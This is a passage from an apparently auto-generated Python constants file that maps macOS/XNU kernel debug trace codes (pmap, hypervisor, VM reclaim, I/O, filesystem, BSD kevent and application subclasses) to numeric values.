Constant('MACH_EPOCH_SYNC_WAIT',0x1) MACH_EPOCH_SYNC_WAKE_NO_WAITERS = Constant('MACH_EPOCH_SYNC_WAKE_NO_WAITERS',0x2) MACH_EPOCH_SYNC_WAKE_ONE = Constant('MACH_EPOCH_SYNC_WAKE_ONE',0x3) MACH_EPOCH_SYNC_WAKE_ALL = Constant('MACH_EPOCH_SYNC_WAKE_ALL',0x4) MACH_EPOCH_SYNC_WAKE_ONE_WITH_OWNER = Constant('MACH_EPOCH_SYNC_WAKE_ONE_WITH_OWNER',0x5) MACH_EPOCH_SYNC_WAKE_THREAD = Constant('MACH_EPOCH_SYNC_WAKE_THREAD',0x6) MACH_THREAD_GROUP_NEW = Constant('MACH_THREAD_GROUP_NEW',0x0) MACH_THREAD_GROUP_FREE = Constant('MACH_THREAD_GROUP_FREE',0x1) MACH_THREAD_GROUP_SET = Constant('MACH_THREAD_GROUP_SET',0x2) MACH_THREAD_GROUP_NAME = Constant('MACH_THREAD_GROUP_NAME',0x3) MACH_THREAD_GROUP_NAME_FREE = Constant('MACH_THREAD_GROUP_NAME_FREE',0x4) MACH_THREAD_GROUP_FLAGS = Constant('MACH_THREAD_GROUP_FLAGS',0x5) MACH_THREAD_GROUP_BLOCK = Constant('MACH_THREAD_GROUP_BLOCK',0x6) MACH_THREAD_GROUP_PREADOPT = Constant('MACH_THREAD_GROUP_PREADOPT',0x7) MACH_THREAD_GROUP_PREADOPT_NEXTTIME = Constant('MACH_THREAD_GROUP_PREADOPT_NEXTTIME',0x8) MACH_THREAD_GROUP_PREADOPT_CLEAR = Constant('MACH_THREAD_GROUP_PREADOPT_CLEAR',0x9) MACH_THREAD_GROUP_PREADOPT_NA = Constant('MACH_THREAD_GROUP_PREADOPT_NA',0xa) MACH_COALITION_NEW = Constant('MACH_COALITION_NEW',0x0) MACH_COALITION_FREE = Constant('MACH_COALITION_FREE',0x1) MACH_COALITION_ADOPT = Constant('MACH_COALITION_ADOPT',0x2) MACH_COALITION_REMOVE = Constant('MACH_COALITION_REMOVE',0x3) MACH_COALITION_THREAD_GROUP_SET = Constant('MACH_COALITION_THREAD_GROUP_SET',0x4) PMAP__CREATE = Constant('PMAP__CREATE',0x0) PMAP__DESTROY = Constant('PMAP__DESTROY',0x1) PMAP__PROTECT = Constant('PMAP__PROTECT',0x2) PMAP__PAGE_PROTECT = Constant('PMAP__PAGE_PROTECT',0x3) PMAP__ENTER = Constant('PMAP__ENTER',0x4) PMAP__REMOVE = Constant('PMAP__REMOVE',0x5) PMAP__NEST = Constant('PMAP__NEST',0x6) PMAP__UNNEST = Constant('PMAP__UNNEST',0x7) PMAP__FLUSH_TLBS = Constant('PMAP__FLUSH_TLBS',0x8) PMAP__UPDATE_INTERRUPT = Constant('PMAP__UPDATE_INTERRUPT',0x9) PMAP__ATTRIBUTE_CLEAR = Constant('PMAP__ATTRIBUTE_CLEAR',0xa) PMAP__REUSABLE = Constant('PMAP__REUSABLE',0xb) PMAP__QUERY_RESIDENT = Constant('PMAP__QUERY_RESIDENT',0xc) PMAP__FLUSH_KERN_TLBS = Constant('PMAP__FLUSH_KERN_TLBS',0xd) PMAP__FLUSH_DELAYED_TLBS = Constant('PMAP__FLUSH_DELAYED_TLBS',0xe) PMAP__FLUSH_TLBS_TO = Constant('PMAP__FLUSH_TLBS_TO',0xf) PMAP__FLUSH_EPT = Constant('PMAP__FLUSH_EPT',0x10) PMAP__FAST_FAULT = Constant('PMAP__FAST_FAULT',0x11) PMAP__SWITCH = Constant('PMAP__SWITCH',0x12) PMAP__TTE = Constant('PMAP__TTE',0x13) PMAP__SWITCH_USER_TTB = Constant('PMAP__SWITCH_USER_TTB',0x14) PMAP__UPDATE_CACHING = Constant('PMAP__UPDATE_CACHING',0x15) PMAP__ATTRIBUTE_CLEAR_RANGE = Constant('PMAP__ATTRIBUTE_CLEAR_RANGE',0x16) PMAP__CLEAR_USER_TTB = Constant('PMAP__CLEAR_USER_TTB',0x17) PMAP__IOMMU_INIT = Constant('PMAP__IOMMU_INIT',0x18) PMAP__IOMMU_IOVMALLOC = Constant('PMAP__IOMMU_IOVMALLOC',0x19) PMAP__IOMMU_IOVMFREE = Constant('PMAP__IOMMU_IOVMFREE',0x1a) PMAP__IOMMU_MAP = Constant('PMAP__IOMMU_MAP',0x1b) PMAP__IOMMU_UNMAP = Constant('PMAP__IOMMU_UNMAP',0x1c) PMAP__IOMMU_IOCTL = Constant('PMAP__IOMMU_IOCTL',0x1d) PMAP__IOMMU_GRANT_PAGE = Constant('PMAP__IOMMU_GRANT_PAGE',0x1e) PMAP__BATCH_UPDATE_CACHING = Constant('PMAP__BATCH_UPDATE_CACHING',0x1f) PMAP__COLLECT_CACHE_OPS = Constant('PMAP__COLLECT_CACHE_OPS',0x20) MACH_EPOCH_CHANGE = Constant('MACH_EPOCH_CHANGE',0x0) MACH_BRIDGE_RCV_TS = Constant('MACH_BRIDGE_RCV_TS',0x1) MACH_BRIDGE_REMOTE_TIME = Constant('MACH_BRIDGE_REMOTE_TIME',0x2) MACH_BRIDGE_RESET_TS = Constant('MACH_BRIDGE_RESET_TS',0x3) MACH_BRIDGE_TS_PARAMS = Constant('MACH_BRIDGE_TS_PARAMS',0x4) MACH_BRIDGE_SKIP_TS = Constant('MACH_BRIDGE_SKIP_TS',0x5) MACH_BRIDGE_TS_MISMATCH = Constant('MACH_BRIDGE_TS_MISMATCH',0x6) MACH_BRIDGE_OBSV_RATE = Constant('MACH_BRIDGE_OBSV_RATE',0x7) MICROSTACKSHOT_RECORD = Constant('MICROSTACKSHOT_RECORD',0x0) MICROSTACKSHOT_GATHER = Constant('MICROSTACKSHOT_GATHER',0x1) STACKSHOT_RECORD = Constant('STACKSHOT_RECORD',0x2) STACKSHOT_RECORD_SHORT = Constant('STACKSHOT_RECORD_SHORT',0x3) STACKSHOT_KERN_RECORD = Constant('STACKSHOT_KERN_RECORD',0x4) SYSDIAGNOSE_NOTIFY_USER = Constant('SYSDIAGNOSE_NOTIFY_USER',0x0) SYSDIAGNOSE_FULL = Constant('SYSDIAGNOSE_FULL',0x1) SYSDIAGNOSE_STACKSHOT = Constant('SYSDIAGNOSE_STACKSHOT',0x2) SYSDIAGNOSE_TAILSPIN = Constant('SYSDIAGNOSE_TAILSPIN',0x3) SFI_SET_WINDOW = Constant('SFI_SET_WINDOW',0x0) SFI_CANCEL_WINDOW = Constant('SFI_CANCEL_WINDOW',0x1) SFI_SET_CLASS_OFFTIME = Constant('SFI_SET_CLASS_OFFTIME',0x2) SFI_CANCEL_CLASS_OFFTIME = Constant('SFI_CANCEL_CLASS_OFFTIME',0x3) SFI_THREAD_DEFER = Constant('SFI_THREAD_DEFER',0x4) SFI_OFF_TIMER = Constant('SFI_OFF_TIMER',0x5) SFI_ON_TIMER = Constant('SFI_ON_TIMER',0x6) SFI_WAIT_CANCELED = Constant('SFI_WAIT_CANCELED',0x7) SFI_PID_SET_MANAGED = Constant('SFI_PID_SET_MANAGED',0x8) SFI_PID_CLEAR_MANAGED = Constant('SFI_PID_CLEAR_MANAGED',0x9) SFI_GLOBAL_DEFER = Constant('SFI_GLOBAL_DEFER',0xa) ZALLOC_ZCRAM = Constant('ZALLOC_ZCRAM',0x0) RMON_ENABLE_CPUUSAGE_MONITOR = Constant('RMON_ENABLE_CPUUSAGE_MONITOR',0x001) RMON_CPUUSAGE_VIOLATED = Constant('RMON_CPUUSAGE_VIOLATED',0x002) RMON_CPUUSAGE_SUSPENDED = Constant('RMON_CPUUSAGE_SUSPENDED',0x003) RMON_CPUUSAGE_VIOLATED_K32A = Constant('RMON_CPUUSAGE_VIOLATED_K32A',0x004) RMON_CPUUSAGE_VIOLATED_K32B = Constant('RMON_CPUUSAGE_VIOLATED_K32B',0x005) RMON_CPUUSAGE_RESUMED = Constant('RMON_CPUUSAGE_RESUMED',0x006) RMON_DISABLE_CPUUSAGE_MONITOR = Constant('RMON_DISABLE_CPUUSAGE_MONITOR',0x00f) RMON_ENABLE_CPUWAKES_MONITOR = Constant('RMON_ENABLE_CPUWAKES_MONITOR',0x011) RMON_CPUWAKES_VIOLATED = Constant('RMON_CPUWAKES_VIOLATED',0x012) RMON_CPUWAKES_VIOLATED_K32A = Constant('RMON_CPUWAKES_VIOLATED_K32A',0x014) RMON_CPUWAKES_VIOLATED_K32B = Constant('RMON_CPUWAKES_VIOLATED_K32B',0x015) RMON_DISABLE_CPUWAKES_MONITOR = Constant('RMON_DISABLE_CPUWAKES_MONITOR',0x01f) RMON_ENABLE_IO_MONITOR = Constant('RMON_ENABLE_IO_MONITOR',0x021) RMON_LOGWRITES_VIOLATED = Constant('RMON_LOGWRITES_VIOLATED',0x022) RMON_PHYSWRITES_VIOLATED = Constant('RMON_PHYSWRITES_VIOLATED',0x023) RMON_LOGWRITES_VIOLATED_K32A = Constant('RMON_LOGWRITES_VIOLATED_K32A',0x024) RMON_LOGWRITES_VIOLATED_K32B = Constant('RMON_LOGWRITES_VIOLATED_K32B',0x025) RMON_DISABLE_IO_MONITOR = Constant('RMON_DISABLE_IO_MONITOR',0x02f) HV_X86_ENTER = Constant('HV_X86_ENTER',0x00) HV_X86_ENTER_ERROR = Constant('HV_X86_ENTER_ERROR',0x01) HV_X86_TRAP_TASK = Constant('HV_X86_TRAP_TASK',0x02) HV_X86_TRAP_THREAD = Constant('HV_X86_TRAP_THREAD',0x03) HV_X86_INTERRUPT_INJECT = Constant('HV_X86_INTERRUPT_INJECT',0x04) HV_X86_INTERRUPT_RECV = Constant('HV_X86_INTERRUPT_RECV',0x05) HV_X86_INTERRUPT_SEND = Constant('HV_X86_INTERRUPT_SEND',0x06) HV_X86_IPI_SEND = Constant('HV_X86_IPI_SEND',0x07) HV_X86_NMI_INJECT = Constant('HV_X86_NMI_INJECT',0x08) HV_X86_NMI_SEND = Constant('HV_X86_NMI_SEND',0x09) HV_X86_LSC_HIT = Constant('HV_X86_LSC_HIT',0x0a) HV_X86_LSC_INSERT = Constant('HV_X86_LSC_INSERT',0x0b) HV_X86_LSC_INSERT_IMM32 = Constant('HV_X86_LSC_INSERT_IMM32',0x0c) HV_X86_LSC_INVALID = Constant('HV_X86_LSC_INVALID',0x0d) HV_X86_LSC_INVALIDATE = Constant('HV_X86_LSC_INVALIDATE',0x0e) HV_X86_LSC_MISS = Constant('HV_X86_LSC_MISS',0x0f) HV_X86_TIMER_CANCEL = Constant('HV_X86_TIMER_CANCEL',0x10) HV_X86_TIMER_FIRE = Constant('HV_X86_TIMER_FIRE',0x11) HV_X86_TIMER_SCHEDULE = Constant('HV_X86_TIMER_SCHEDULE',0x12) HV_X86_APIC_ACCESS_EXIT = Constant('HV_X86_APIC_ACCESS_EXIT',0x13) HV_X86_APIC_WRITE_EXIT = Constant('HV_X86_APIC_WRITE_EXIT',0x14) HV_X86_EPT_VIOLATION_EXIT = Constant('HV_X86_EPT_VIOLATION_EXIT',0x15) HV_X86_EXC_NMI_EXIT = Constant('HV_X86_EXC_NMI_EXIT',0x16) HV_X86_HLT_EXIT = Constant('HV_X86_HLT_EXIT',0x17) HV_X86_IO_EXIT = Constant('HV_X86_IO_EXIT',0x18) HV_X86_IRQ_EXIT = Constant('HV_X86_IRQ_EXIT',0x19) HV_X86_IRQ_WND_EXIT = Constant('HV_X86_IRQ_WND_EXIT',0x1a) HV_X86_MOV_DR_EXIT = Constant('HV_X86_MOV_DR_EXIT',0x1b) HV_X86_NMI_WND_EXIT = Constant('HV_X86_NMI_WND_EXIT',0x1c) HV_X86_RDMSR_EXIT = Constant('HV_X86_RDMSR_EXIT',0x1d) HV_X86_RDPMC_EXIT = Constant('HV_X86_RDPMC_EXIT',0x1e) HV_X86_TPR_THRESHOLD_EXIT = Constant('HV_X86_TPR_THRESHOLD_EXIT',0x1f) HV_X86_VMX_TIMER_EXPIRED_EXIT = Constant('HV_X86_VMX_TIMER_EXPIRED_EXIT',0x20) HV_X86_WRMSR_EXIT = Constant('HV_X86_WRMSR_EXIT',0x21) HV_X86_VCPU_READ_APIC_TRAP = Constant('HV_X86_VCPU_READ_APIC_TRAP',0x22) HV_X86_VCPU_READ_VMCS_TRAP = Constant('HV_X86_VCPU_READ_VMCS_TRAP',0x23) HV_X86_VCPU_RUN_TRAP = Constant('HV_X86_VCPU_RUN_TRAP',0x24) HV_X86_VCPU_RUN_UNTIL_TRAP = Constant('HV_X86_VCPU_RUN_UNTIL_TRAP',0x25) HV_X86_VCPU_WRITE_APIC_TRAP = Constant('HV_X86_VCPU_WRITE_APIC_TRAP',0x26) HV_X86_VM_ADDRSPACE_CREATE_TRAP = Constant('HV_X86_VM_ADDRSPACE_CREATE_TRAP',0x27) HV_X86_VM_ADDRSPACE_DESTROY_TRAP = Constant('HV_X86_VM_ADDRSPACE_DESTROY_TRAP',0x28) HV_X86_VM_INTR_MSI_TRAP = Constant('HV_X86_VM_INTR_MSI_TRAP',0x29) HV_X86_VM_MAP_TRAP = Constant('HV_X86_VM_MAP_TRAP',0x2a) HV_X86_VM_PROTECT_TRAP = Constant('HV_X86_VM_PROTECT_TRAP',0x2b) HV_X86_VM_UNMAP_TRAP = Constant('HV_X86_VM_UNMAP_TRAP',0x2c) HV_X86_TSC_OFFSET_SET = Constant('HV_X86_TSC_OFFSET_SET',0x2d) VM_RECLAIM_UPDATE_ACCOUNTING = Constant('VM_RECLAIM_UPDATE_ACCOUNTING',0x01) VM_RECLAIM_ENTRIES = Constant('VM_RECLAIM_ENTRIES',0x02) VM_RECLAIM_CHUNK = Constant('VM_RECLAIM_CHUNK',0x03) VM_RECLAIM_ENTRY = Constant('VM_RECLAIM_ENTRY',0x04) VM_RECLAIM_ALL_MEMORY = Constant('VM_RECLAIM_ALL_MEMORY',0x05) VM_RECLAIM_ASYNC_MEMORY = Constant('VM_RECLAIM_ASYNC_MEMORY',0x06) VM_RECLAIM_INIT = Constant('VM_RECLAIM_INIT',0x07) DBG_NETIP = Constant('DBG_NETIP',1) DBG_NETARP = Constant('DBG_NETARP',2) DBG_NETUDP = Constant('DBG_NETUDP',3) DBG_NETTCP = Constant('DBG_NETTCP',4) DBG_NETICMP = Constant('DBG_NETICMP',5) DBG_NETIGMP = Constant('DBG_NETIGMP',6) DBG_NETRIP = Constant('DBG_NETRIP',7) DBG_NETOSPF = Constant('DBG_NETOSPF',8) DBG_NETISIS = Constant('DBG_NETISIS',9) DBG_NETSNMP = Constant('DBG_NETSNMP',10) DBG_NETSOCK = Constant('DBG_NETSOCK',11) DBG_NETAARP = Constant('DBG_NETAARP',100) DBG_NETDDP = Constant('DBG_NETDDP',101) DBG_NETNBP = Constant('DBG_NETNBP',102) DBG_NETZIP = Constant('DBG_NETZIP',103) DBG_NETADSP = Constant('DBG_NETADSP',104) DBG_NETATP = Constant('DBG_NETATP',105) DBG_NETASP = Constant('DBG_NETASP',106) DBG_NETAFP = Constant('DBG_NETAFP',107) DBG_NETRTMP = Constant('DBG_NETRTMP',108) DBG_NETAURP = Constant('DBG_NETAURP',109) DBG_NETIPSEC = Constant('DBG_NETIPSEC',128) DBG_NETVMNET = Constant('DBG_NETVMNET',129) DBG_IOINTC = Constant('DBG_IOINTC',0) DBG_IOWORKLOOP = Constant('DBG_IOWORKLOOP',1) DBG_IOINTES = Constant('DBG_IOINTES',2) DBG_IOCLKES = Constant('DBG_IOCLKES',3) DBG_IOCMDQ = Constant('DBG_IOCMDQ',4) DBG_IOMCURS = Constant('DBG_IOMCURS',5) DBG_IOMDESC = Constant('DBG_IOMDESC',6) DBG_IOPOWER = Constant('DBG_IOPOWER',7) DBG_IOSERVICE = Constant('DBG_IOSERVICE',8) DBG_IOREGISTRY = Constant('DBG_IOREGISTRY',9) DBG_IOPORT = Constant('DBG_IOPORT',10) DBG_IOSTORAGE = Constant('DBG_IOSTORAGE',32) DBG_IONETWORK = Constant('DBG_IONETWORK',33) DBG_IOKEYBOARD = Constant('DBG_IOKEYBOARD',34) DBG_IOHID = Constant('DBG_IOHID',35) DBG_IOAUDIO = Constant('DBG_IOAUDIO',36) DBG_IOSERIAL = Constant('DBG_IOSERIAL',37) DBG_IOTTY = Constant('DBG_IOTTY',38) DBG_IOSAM = Constant('DBG_IOSAM',39) DBG_IOPARALLELATA = Constant('DBG_IOPARALLELATA',40) DBG_IOPARALLELSCSI = Constant('DBG_IOPARALLELSCSI',41) DBG_IOSATA = Constant('DBG_IOSATA',42) DBG_IOSAS = Constant('DBG_IOSAS',43) DBG_IOFIBRECHANNEL = Constant('DBG_IOFIBRECHANNEL',44) DBG_IOUSB = Constant('DBG_IOUSB',45) DBG_IOBLUETOOTH = Constant('DBG_IOBLUETOOTH',46) DBG_IOFIREWIRE = Constant('DBG_IOFIREWIRE',47) DBG_IOINFINIBAND = Constant('DBG_IOINFINIBAND',48) DBG_IOCPUPM = Constant('DBG_IOCPUPM',49) DBG_IOGRAPHICS = Constant('DBG_IOGRAPHICS',50) DBG_HIBERNATE = Constant('DBG_HIBERNATE',51) DBG_IOTHUNDERBOLT = Constant('DBG_IOTHUNDERBOLT',52) DBG_BOOTER = Constant('DBG_BOOTER',53) DBG_IOAUDIO2 = Constant('DBG_IOAUDIO2',54) DBG_IOAFK = Constant('DBG_IOAFK',55) DBG_IOSURFACEPA = Constant('DBG_IOSURFACEPA',64) DBG_IOMDPA = Constant('DBG_IOMDPA',65) DBG_IODARTPA = Constant('DBG_IODARTPA',66) DBG_DRVSTORAGE = Constant('DBG_DRVSTORAGE',1) DBG_DRVNETWORK = Constant('DBG_DRVNETWORK',2) DBG_DRVKEYBOARD = Constant('DBG_DRVKEYBOARD',3) DBG_DRVHID = Constant('DBG_DRVHID',4) DBG_DRVAUDIO = Constant('DBG_DRVAUDIO',5) DBG_DRVSERIAL = Constant('DBG_DRVSERIAL',7) DBG_DRVSAM = Constant('DBG_DRVSAM',8) DBG_DRVPARALLELATA = Constant('DBG_DRVPARALLELATA',9) DBG_DRVPARALLELSCSI = Constant('DBG_DRVPARALLELSCSI',10) DBG_DRVSATA = Constant('DBG_DRVSATA',11) DBG_DRVSAS = Constant('DBG_DRVSAS',12) DBG_DRVFIBRECHANNEL = Constant('DBG_DRVFIBRECHANNEL',13) DBG_DRVUSB = Constant('DBG_DRVUSB',14) DBG_DRVBLUETOOTH = Constant('DBG_DRVBLUETOOTH',15) DBG_DRVFIREWIRE = Constant('DBG_DRVFIREWIRE',16) DBG_DRVINFINIBAND = Constant('DBG_DRVINFINIBAND',17) DBG_DRVGRAPHICS = Constant('DBG_DRVGRAPHICS',18) DBG_DRVSD = Constant('DBG_DRVSD',19) DBG_DRVNAND = Constant('DBG_DRVNAND',20) DBG_SSD = Constant('DBG_SSD',21) DBG_DRVSPI = Constant('DBG_DRVSPI',22) DBG_DRVWLAN_802_11 = Constant('DBG_DRVWLAN_802_11',23) DBG_DRVSSM = Constant('DBG_DRVSSM',24) DBG_DRVSMC = Constant('DBG_DRVSMC',25) DBG_DRVMACEFIMANAGER = Constant('DBG_DRVMACEFIMANAGER',26) DBG_DRVANE = Constant('DBG_DRVANE',27) DBG_DRVETHERNET = Constant('DBG_DRVETHERNET',28) DBG_DRVMCC = Constant('DBG_DRVMCC',29) DBG_DRVACCESSORY = Constant('DBG_DRVACCESSORY',30) DBG_SOCDIAGS = Constant('DBG_SOCDIAGS',31) DBG_DRVVIRTIO = Constant('DBG_DRVVIRTIO',32) DBG_DRVCELLULAR = Constant('DBG_DRVCELLULAR',33) DBG_DRVSPMI = Constant('DBG_DRVSPMI',34) DBG_DLIL_STATIC = Constant('DBG_DLIL_STATIC',1) DBG_DLIL_PR_MOD = Constant('DBG_DLIL_PR_MOD',2) DBG_DLIL_IF_MOD = Constant('DBG_DLIL_IF_MOD',3) DBG_DLIL_PR_FLT = Constant('DBG_DLIL_PR_FLT',4) DBG_DLIL_IF_FLT = Constant('DBG_DLIL_IF_FLT',5) DBG_FSRW = Constant('DBG_FSRW',0x1) DBG_DKRW = Constant('DBG_DKRW',0x2) DBG_FSVN = Constant('DBG_FSVN',0x3) DBG_FSLOOOKUP = Constant('DBG_FSLOOOKUP',0x4) DBG_JOURNAL = Constant('DBG_JOURNAL',0x5) DBG_IOCTL = Constant('DBG_IOCTL',0x6) DBG_BOOTCACHE = Constant('DBG_BOOTCACHE',0x7) DBG_HFS = Constant('DBG_HFS',0x8) DBG_APFS = Constant('DBG_APFS',0x9) DBG_SMB = Constant('DBG_SMB',0xA) DBG_MOUNT = Constant('DBG_MOUNT',0xB) DBG_EXFAT = Constant('DBG_EXFAT',0xE) DBG_MSDOS = Constant('DBG_MSDOS',0xF) DBG_ACFS = Constant('DBG_ACFS',0x10) DBG_THROTTLE = Constant('DBG_THROTTLE',0x11) DBG_DECMP = Constant('DBG_DECMP',0x12) DBG_VFS = Constant('DBG_VFS',0x13) DBG_LIVEFS = Constant('DBG_LIVEFS',0x14) DBG_NFS = Constant('DBG_NFS',0x15) DBG_CONTENT_PROT = Constant('DBG_CONTENT_PROT',0xCF) DBG_HFS_UPDATE_ACCTIME = Constant('DBG_HFS_UPDATE_ACCTIME',0x01) DBG_HFS_UPDATE_MODTIME = Constant('DBG_HFS_UPDATE_MODTIME',0x02) DBG_HFS_UPDATE_CHGTIME = Constant('DBG_HFS_UPDATE_CHGTIME',0x04) DBG_HFS_UPDATE_MODIFIED = Constant('DBG_HFS_UPDATE_MODIFIED',0x08) DBG_HFS_UPDATE_FORCE = Constant('DBG_HFS_UPDATE_FORCE',0x10) DBG_HFS_UPDATE_DATEADDED = Constant('DBG_HFS_UPDATE_DATEADDED',0x20) DBG_HFS_UPDATE_MINOR = Constant('DBG_HFS_UPDATE_MINOR',0x40) DBG_HFS_UPDATE_SKIPPED = Constant('DBG_HFS_UPDATE_SKIPPED',0x80) DBG_VFS_IO_COMPRESSION_STATS = Constant('DBG_VFS_IO_COMPRESSION_STATS',0x1000) DBG_BSD_PROC = Constant('DBG_BSD_PROC',0x01) DBG_BSD_MEMSTAT = Constant('DBG_BSD_MEMSTAT',0x02) DBG_BSD_KEVENT = Constant('DBG_BSD_KEVENT',0x03) DBG_BSD_EXCP_SC = Constant('DBG_BSD_EXCP_SC',0x0C) DBG_BSD_AIO = Constant('DBG_BSD_AIO',0x0D) DBG_BSD_SC_EXTENDED_INFO = Constant('DBG_BSD_SC_EXTENDED_INFO',0x0E) DBG_BSD_SC_EXTENDED_INFO2 = Constant('DBG_BSD_SC_EXTENDED_INFO2',0x0F) DBG_BSD_KDEBUG_TEST = Constant('DBG_BSD_KDEBUG_TEST',0xFF) BSD_PROC_EXIT = Constant('BSD_PROC_EXIT',1) BSD_PROC_FRCEXIT = Constant('BSD_PROC_FRCEXIT',2) BSD_PROC_EXEC = Constant('BSD_PROC_EXEC',3) BSD_PROC_EXITREASON_CREATE = Constant('BSD_PROC_EXITREASON_CREATE',4) BSD_PROC_EXITREASON_COMMIT = Constant('BSD_PROC_EXITREASON_COMMIT',5) BSD_MEMSTAT_SCAN = Constant('BSD_MEMSTAT_SCAN',1) BSD_MEMSTAT_JETSAM = Constant('BSD_MEMSTAT_JETSAM',2) BSD_MEMSTAT_JETSAM_HIWAT = Constant('BSD_MEMSTAT_JETSAM_HIWAT',3) BSD_MEMSTAT_FREEZE = Constant('BSD_MEMSTAT_FREEZE',4) BSD_MEMSTAT_FREEZE_SCAN = Constant('BSD_MEMSTAT_FREEZE_SCAN',5) BSD_MEMSTAT_UPDATE = Constant('BSD_MEMSTAT_UPDATE',6) BSD_MEMSTAT_IDLE_DEMOTE = Constant('BSD_MEMSTAT_IDLE_DEMOTE',7) BSD_MEMSTAT_CLEAR_ERRORS = Constant('BSD_MEMSTAT_CLEAR_ERRORS',8) BSD_MEMSTAT_DIRTY_TRACK = Constant('BSD_MEMSTAT_DIRTY_TRACK',9) BSD_MEMSTAT_DIRTY_SET = Constant('BSD_MEMSTAT_DIRTY_SET',10) BSD_MEMSTAT_DIRTY_CLEAR = Constant('BSD_MEMSTAT_DIRTY_CLEAR',11) BSD_MEMSTAT_FAST_JETSAM = Constant('BSD_MEMSTAT_FAST_JETSAM',15) BSD_MEMSTAT_COMPACTOR_RUN = Constant('BSD_MEMSTAT_COMPACTOR_RUN',16) BSD_MEMSTAT_FREEZE_DISABLE = Constant('BSD_MEMSTAT_FREEZE_DISABLE',17) BSD_MEMSTAT_RELAUNCH_FLAGS = Constant('BSD_MEMSTAT_RELAUNCH_FLAGS',18) BSD_KEVENT_KQ_PROCESS_BEGIN = Constant('BSD_KEVENT_KQ_PROCESS_BEGIN',1) BSD_KEVENT_KQ_PROCESS_END = Constant('BSD_KEVENT_KQ_PROCESS_END',2) BSD_KEVENT_KQWQ_PROCESS_BEGIN = Constant('BSD_KEVENT_KQWQ_PROCESS_BEGIN',3) BSD_KEVENT_KQWQ_PROCESS_END = Constant('BSD_KEVENT_KQWQ_PROCESS_END',4) BSD_KEVENT_KQWQ_BIND = Constant('BSD_KEVENT_KQWQ_BIND',5) BSD_KEVENT_KQWQ_UNBIND = Constant('BSD_KEVENT_KQWQ_UNBIND',6) BSD_KEVENT_KQWQ_THREQUEST = Constant('BSD_KEVENT_KQWQ_THREQUEST',7) BSD_KEVENT_KQWL_PROCESS_BEGIN = Constant('BSD_KEVENT_KQWL_PROCESS_BEGIN',8) BSD_KEVENT_KQWL_PROCESS_END = Constant('BSD_KEVENT_KQWL_PROCESS_END',9) BSD_KEVENT_KQWL_THREQUEST = Constant('BSD_KEVENT_KQWL_THREQUEST',10) BSD_KEVENT_KQWL_THADJUST = Constant('BSD_KEVENT_KQWL_THADJUST',11) BSD_KEVENT_KQ_REGISTER = Constant('BSD_KEVENT_KQ_REGISTER',12) BSD_KEVENT_KQWQ_REGISTER = Constant('BSD_KEVENT_KQWQ_REGISTER',13) BSD_KEVENT_KQWL_REGISTER = Constant('BSD_KEVENT_KQWL_REGISTER',14) BSD_KEVENT_KNOTE_ACTIVATE = Constant('BSD_KEVENT_KNOTE_ACTIVATE',15) BSD_KEVENT_KQ_PROCESS = Constant('BSD_KEVENT_KQ_PROCESS',16) BSD_KEVENT_KQWQ_PROCESS = Constant('BSD_KEVENT_KQWQ_PROCESS',17) BSD_KEVENT_KQWL_PROCESS = Constant('BSD_KEVENT_KQWL_PROCESS',18) BSD_KEVENT_KQWL_BIND = Constant('BSD_KEVENT_KQWL_BIND',19) BSD_KEVENT_KQWL_UNBIND = Constant('BSD_KEVENT_KQWL_UNBIND',20) BSD_KEVENT_KNOTE_ENABLE = Constant('BSD_KEVENT_KNOTE_ENABLE',21) BSD_KEVENT_KNOTE_VANISHED = Constant('BSD_KEVENT_KNOTE_VANISHED',22) DBG_TRACE_DATA = Constant('DBG_TRACE_DATA',0) DBG_TRACE_STRING = Constant('DBG_TRACE_STRING',1) DBG_TRACE_INFO = Constant('DBG_TRACE_INFO',2) DBG_CS_IO = Constant('DBG_CS_IO',0) DBG_SEC_KERNEL = Constant('DBG_SEC_KERNEL',0) DBG_SEC_SANDBOX = Constant('DBG_SEC_SANDBOX',1) DBG_MT_INSTRS_CYCLES = Constant('DBG_MT_INSTRS_CYCLES',1) DBG_MT_DEBUG = Constant('DBG_MT_DEBUG',2) DBG_MT_RESOURCES_PROC_EXIT = Constant('DBG_MT_RESOURCES_PROC_EXIT',3) DBG_MT_RESOURCES_THR_EXIT = Constant('DBG_MT_RESOURCES_THR_EXIT',4) DBG_MT_INSTRS_CYCLES_ON_CPU = Constant('DBG_MT_INSTRS_CYCLES_ON_CPU',5) DBG_MT_TMPTH = Constant('DBG_MT_TMPTH',0xfe) DBG_MT_TMPCPU = Constant('DBG_MT_TMPCPU',0xff) DBG_MISC_COREBRIGHTNESS = Constant('DBG_MISC_COREBRIGHTNESS',0x01) DBG_MISC_VIDEOENG = Constant('DBG_MISC_VIDEOENG',0x02) DBG_EVENT = Constant('DBG_EVENT',0x10) DBG_MISC_INSTRUMENTS = Constant('DBG_MISC_INSTRUMENTS',0x11) DBG_MISC_INSTRUMENTSBT = Constant('DBG_MISC_INSTRUMENTSBT',0x12) DBG_MISC_RUNLOOP_DETAILS = Constant('DBG_MISC_RUNLOOP_DETAILS',0x13) DBG_MISC_RUNLOOP_BUSY = Constant('DBG_MISC_RUNLOOP_BUSY',0x14) DBG_MISC_LAYOUT = Constant('DBG_MISC_LAYOUT',0x1a) DBG_BUFFER = Constant('DBG_BUFFER',0x20) DKIO_DONE = Constant('DKIO_DONE',0x01) DKIO_READ = Constant('DKIO_READ',0x02) DKIO_ASYNC = Constant('DKIO_ASYNC',0x04) DKIO_META = Constant('DKIO_META',0x08) DKIO_PAGING = Constant('DKIO_PAGING',0x10) DKIO_THROTTLE = Constant('DKIO_THROTTLE',0x20) DKIO_PASSIVE = Constant('DKIO_PASSIVE',0x40) DKIO_NOCACHE = Constant('DKIO_NOCACHE',0x80) DKIO_TIER_MASK = Constant('DKIO_TIER_MASK',0xF00) DKIO_TIER_SHIFT = Constant('DKIO_TIER_SHIFT',8) DKIO_TIER_UPGRADE = Constant('DKIO_TIER_UPGRADE',0x1000) DBG_APP_LOGINWINDOW = Constant('DBG_APP_LOGINWINDOW',0x03) DBG_APP_AUDIO = Constant('DBG_APP_AUDIO',0x04) DBG_APP_SYSTEMUI = Constant('DBG_APP_SYSTEMUI',0x05) DBG_APP_SIGNPOST = Constant('DBG_APP_SIGNPOST',0x0A) DBG_APP_TAL = Constant('DBG_APP_TAL',0x0B) DBG_APP_APPKIT = Constant('DBG_APP_APPKIT',0x0C) DBG_APP_UIKIT = Constant('DBG_APP_UIKIT',0x0D) DBG_APP_DFR = Constant('DBG_APP_DFR',0x0E) DBG_APP_LAYOUT = Constant('DBG_APP_LAYOUT',0x0F) DBG_APP_COREDATA = Constant('DBG_APP_COREDATA',0x10) 